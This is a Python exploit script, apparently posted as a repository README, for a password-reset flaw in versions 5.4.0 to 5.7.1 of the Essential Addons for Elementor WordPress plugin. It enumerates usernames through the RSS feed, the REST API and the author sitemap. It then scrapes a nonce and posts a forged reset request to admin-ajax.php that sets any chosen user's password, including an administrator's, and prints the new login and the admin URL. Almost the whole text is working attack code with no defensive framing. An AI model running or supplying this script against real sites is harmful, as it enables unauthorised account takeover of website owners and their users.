README.md
Rendering markdown...
import argparse
import requests
import re
import os
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from bs4 import BeautifulSoup
session = requests.Session()
def check_version(wordpress_url):
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
response = session.get(wordpress_url, headers=headers, verify=False)
if "/front-end/css/view/general.min.css" in response.text:
try:
version_match = re.search(r"front-end/css/view/general\.min\.css\?ver=(\d+\.\d+\.\d+)", response.text)
if version_match:
version = version_match.group(1)
if "5.4.0" <= version <= "5.7.1":
print("Found Vulnerable Version:", version)
return True
else:
print("Found version: "+version+" sadly not vulnerable.")
exit()
except Exception as e:
print("Error occurred while extracting version:", str(e))
else:
url = f"{wordpress_url}/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt"
response = session.get(url, headers=headers, verify=False)
if "Essential Addons for Elementor" not in response.text:
print("Unable to find essential-addons-for-elementor-lite plugin readme.txt.")
exit()
for line in response.text:
if line.startswith("Stable tag:"):
stable_tag = line.split(":")[1].strip() # Extract the value of the stable tag
print(stable_tag)
if "5.4.0" <= stable_tag <= "5.7.1":
print("Found Vulnerable Version:", stable_tag)
return True
else:
print("Found version: "+stable_tag+" sadly not vulnerable.")
exit()
def extract_usernames(wordpress_url):
try:
rss_usernames = extract_usernames_rss(wordpress_url)
rest_api_usernames = get_usernames_rest_api(wordpress_url)
sitemap_usernames = get_usernames_sitemap(wordpress_url)
rest_api2_usernames = scrape_users_via_rest_api(wordpress_url)
all_usernames = list(set(rss_usernames) | set(rest_api_usernames) | set(sitemap_usernames)| set(rest_api2_usernames))
return all_usernames
except Exception as e:
print("Error occurred while extracting usernames:", str(e))
# Method 1: Using WordPress RSS feed
def extract_usernames_rss(wordpress_url):
headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
response = session.get(f"{wordpress_url}/feed/",headers=headers,verify=False)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "xml")
try:
all_usernames = []
for item in soup.find_all("item"):
creator = item.find("dc:creator")
if creator and creator.text:
all_usernames.append(creator.text)
return all_usernames
except Exception as e:
print(f"Failed to fetch usernames using RSS Feed. Error: {e} ")
return []
else:
print(f"Failed to fetch usernames using RSS Feed. Error: {response.text}")
return []
# Method 2: Using WordPress REST API
def get_usernames_rest_api(wordpress_url):
headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
api_url = wordpress_url + '/wp-json/wp/v2/users'
response = session.get(api_url, headers=headers, verify=False)
if response.status_code == 200:
users = response.json()
usernames = [user['slug'] for user in users]
return usernames
else:
print(f"Failed to fetch usernames using REST API. Error: {response.text}")
return []
# Method 3: Using WordPress Yoast Authors Sitemap
def get_usernames_sitemap(wordpress_url):
headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
response = session.get(f"{wordpress_url}/author-sitemap.xml", headers=headers, verify=False)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "xml")
usernames = set()
for loc in soup.find_all("loc"):
match = re.search(r"/author/([^/]+)/?$", loc.text.strip())
if match:
usernames.add(match.group(1))
return usernames
else:
print(f"Failed to fetch usernames using author-sitemap.xml. Error http status code "+str(response.status_code)+"")
return[]
# Method 4: Using the Wordpress Rest API
def scrape_users_via_rest_api(wordpress_url):
try:
headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
api_url = f"{wordpress_url}/?rest_route=/wp/v2/users"
response = requests.get(api_url, headers=headers, verify=False)
if response.status_code == 200:
users = response.json()
usernames = [user['slug'] for user in users]
return usernames
else:
print(f"Failed to fetch usernames using REST Route API. Error: {response.text}")
return []
except Exception as e:
print("Error occurred while scraping users:", str(e))
return []
def select_username(usernames):
if not usernames:
print("Sorry, unable to help. No usernames found.")
exit()
print("Please select a username:")
for i, username in enumerate(usernames):
print(f"{i+1}. {username}")
index = int(input("> ")) - 1
return list(usernames)[index]
def extract_nonce(wordpress_url):
try:
url = f"{wordpress_url}/"
headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
response = session.get(url, headers=headers, verify=False)
soup = BeautifulSoup(response.text, "lxml")
script_tag = soup.find("script", string=lambda t: "var localize" in str(t))
script_text = script_tag.text.strip() if script_tag else ""
nonce_start_index = script_text.find('"nonce":"') + 9
nonce_end_index = script_text.find('"', nonce_start_index)
return script_text[nonce_start_index:nonce_end_index]
except Exception as e:
print("Sorry, not able to help.")
exit()
def send_request(wordpress_url, nonce, user, password):
url = f"{wordpress_url}/wp-admin/admin-ajax.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",
"Content-Type": "application/x-www-form-urlencoded",
}
payload = {
"action": "login_or_register_user",
"eael-resetpassword-submit": "true",
"page_id": "124",
"widget_id": "224",
"eael-resetpassword-nonce": nonce,
"eael-pass1": password,
"eael-pass2": password,
"rp_login": user
}
response = session.post(url, headers=headers, data=payload, verify=False)
if 'success":true' in response.text:
print("All Set! You can now login using the following credentials:")
print("Username: ",user)
print("Password: ",password)
print("Admin Url: "+wordpress_url+"/wp-admin/")
else:
print("Error, see html response below to debug")
print(response.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL of the WordPress site")
parser.add_argument("-p", "--password", required=True, help="Password to set for the selected username")
parser.add_argument("-usr", "--username", required=False, help="Username of the user to reset if you already know it.")
args = parser.parse_args()
check_version(args.url)
if args.username is None:
try:
all_usernames = extract_usernames(args.url)
except Exception as e:
print(f"Error extracting usernames: {e}")
exit()
selected_username = select_username(all_usernames)
else:
selected_username = args.username
nonce = extract_nonce(args.url)
if not nonce:
print("Sorry, not able to extract the nonce")
exit()
print(f"Nonce value: {nonce}")
print(f"Username value: {selected_username}")
send_request(args.url, nonce, selected_username, args.password)